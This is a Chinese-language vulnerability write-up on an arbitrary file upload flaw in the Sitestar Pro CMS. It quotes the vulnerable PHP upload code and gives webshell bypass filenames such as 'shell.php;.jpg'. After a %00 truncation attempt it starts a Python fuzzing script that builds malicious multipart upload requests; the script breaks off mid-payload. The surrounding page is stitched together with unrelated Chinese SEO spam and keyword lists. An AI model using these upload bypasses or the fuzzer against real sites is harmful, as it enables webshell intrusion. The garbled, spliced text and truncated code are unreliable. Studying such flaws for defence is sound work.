济南建手机网站哪家好_工程建筑公司_乌鲁木齐最新今天的消息_java一般要学几年

0x00 Sitestar

美橙互联又一力作,建站之星专业版(Sitestar Pro),

无拘无束,信手拈来,创意无限,不拘一格,轻松创建属于您自己的网站!

0x01 漏洞的产生

/module/mod_tool.php 第89行起,img_create()函数

[php]

public function img_create() {

$file_info =& ParamHolder::get('img_name', array(), PS_FILES);

if ($file_info['error'] > 0) {

Notice::set('mod_marquee/msg', __('Invalid post file data!'));

Content::redirect(Html::uriquery('mod_tool', 'upload_img'));

}

//exit($file_info["name"]);

if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {

//echo '2222';

Notice::set('mod_marquee/msg', __('File type error!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}

if(file_exists(ROOT.'/upload/image/'.$file_info["name"])) {

$file_info["name"] = Toolkit::randomStr(8).strrchr($file_info["name"],".");

}

if (!$this->_savelinkimg($file_info)) {

Notice::set('mod_marquee/msg', __('Link image upload failed!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]

上述关键的代码

[php]

if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {

Notice::set('mod_marquee/msg', __('File type error!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]

其中 PIC_ALLOW_EXT 为 gif|jpg|png|bmp 即如果文件名最后不是gif|jpg|png|bmp,则提示文件类型错误

我们继续往下看...

[php]

if (!$this->_savelinkimg($file_info)) {

Notice::set('mod_marquee/msg', __('Link image upload failed!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]

跟进_savelinkimg函数 736行-741行

[php]

private function _savelinkimg($struct_file) {

$struct_file['name'] = iconv("UTF-8", "gb2312", $struct_file['name']);

echo $struct_file['name'];

move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);

return ParamParser::fire_virus(ROOT.'/upload/image/'.$struct_file['name']);

}

[/php]

其中我们关心的是move_uploaded_file函数

[php]

move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);

[/php]

看见没有,直接用我们上传的的文件名作为最终写进硬盘的文件名

到这里,我们可以简单对其进行利用

上传类似如下文件:shell.php;.jpg 或shell.php.a;.jpg 利用解析漏洞即可利用,但这并不是我们今天所要讲的内容,SO 继续....

0x02 尝试漏洞利用

既然文件名是我们上传的文件名,那我们用截断上传试试呢...

首先我们尝试最最最常用的截断方法: %00

为方便调试,我们加入调试代码

[php]

if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {

exit("Error,不能截断.");//调试代码

Notice::set('mod_marquee/msg', __('File type error!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]

同时将如下代码保持为sitestar.htm

[php]

[/php]

打开sitestar.htm,Burpsuite抓包 采用%00截断:

输出了我们的调试代码

看见了吧,不能成功的被截断,那我们是不是就到此为止了呢? 显然 答案是NO!

额 !!想起来了...我们都知道Fuzzing很强大... SO 继续吧...

0x03 Fuzzing成功利用

丢一真理:实践出真知,各位看官们 眼睛睁大了...

为了能Fuzzing,看来还得码代码啊,首先抓个上传的包,方便代码中用

这里我们用py写Fuzzing的代码,好吧 我已经给各位写好啦

[php]

#D:\Python27\python.exe

#coding = utf-8

import os

import re

import sys

import random

import urllib2

import urllib

def hex_to_asc(ch):

return '{:c}'.format(int(float.fromhex(ch)))

def rand5str(num):

sts = ''

char = '1234567890abcdexyz'

for i in range(num):

sts += random.choice(char)

return sts

def postdata(strr):

global sname

sname = rand5str(8)

data = '------WebKitFormBoundaryFz8xcpseXipPJz6Q\r\n'

data +='Content-Disposition: form-data; name="img_name"; filename="%s.php%s;a.gif"\r\n' % (sname,strr)

data +='Content-Type: image/gif\r\n'

data +='\r\n'

data +='GIF89a

">

嘉兴秀洲区全网seo优化优惠

企业品牌策划与设计、网页设计外文文献、永久使用、不限域名、社交电商平台种类

四川日报比选网?

济南建手机网站哪家好_工程建筑公司_乌鲁木齐最新今天的消息_java一般要学几年

import org.springframework.http.MediaType; 日本注册网站郑州网约车平台哪个比较靠谱呢?seo培训师招聘江苏疫情最新通报数据东莞市企业网站制作服务机构官网定制武汉网络营销公司哪家好游戏工作室怎么开中央农村工作会议内容和精神杭州淘宝运营培训珠海做网站哪里公司好陈村网站开发深圳网站优化教程附近计算机培训班咨询山西公司注册网上核名谷歌外链代发网站建设制作解决方案word文档素材免费下载赣州新闻联播今天回放网站设计入门最新网站建设合同网页制作基础教程第一版怎么创建网页链接快捷方式优咔科技与丽台科技合作协议国内b2b平台有哪几个cad图纸免费下载网站西安建设工程网广州交易中心官网cms建站平台亚马逊雨林十大恐怖生物网站建设教程最新资讯

猜你喜欢

  • 友情链接:
  • 建筑业资质查询网站 旅游网站源代码模板 冠县品牌网站建设推广 网站建站上市公司 手机推广平台 免费网站建站+凡科建站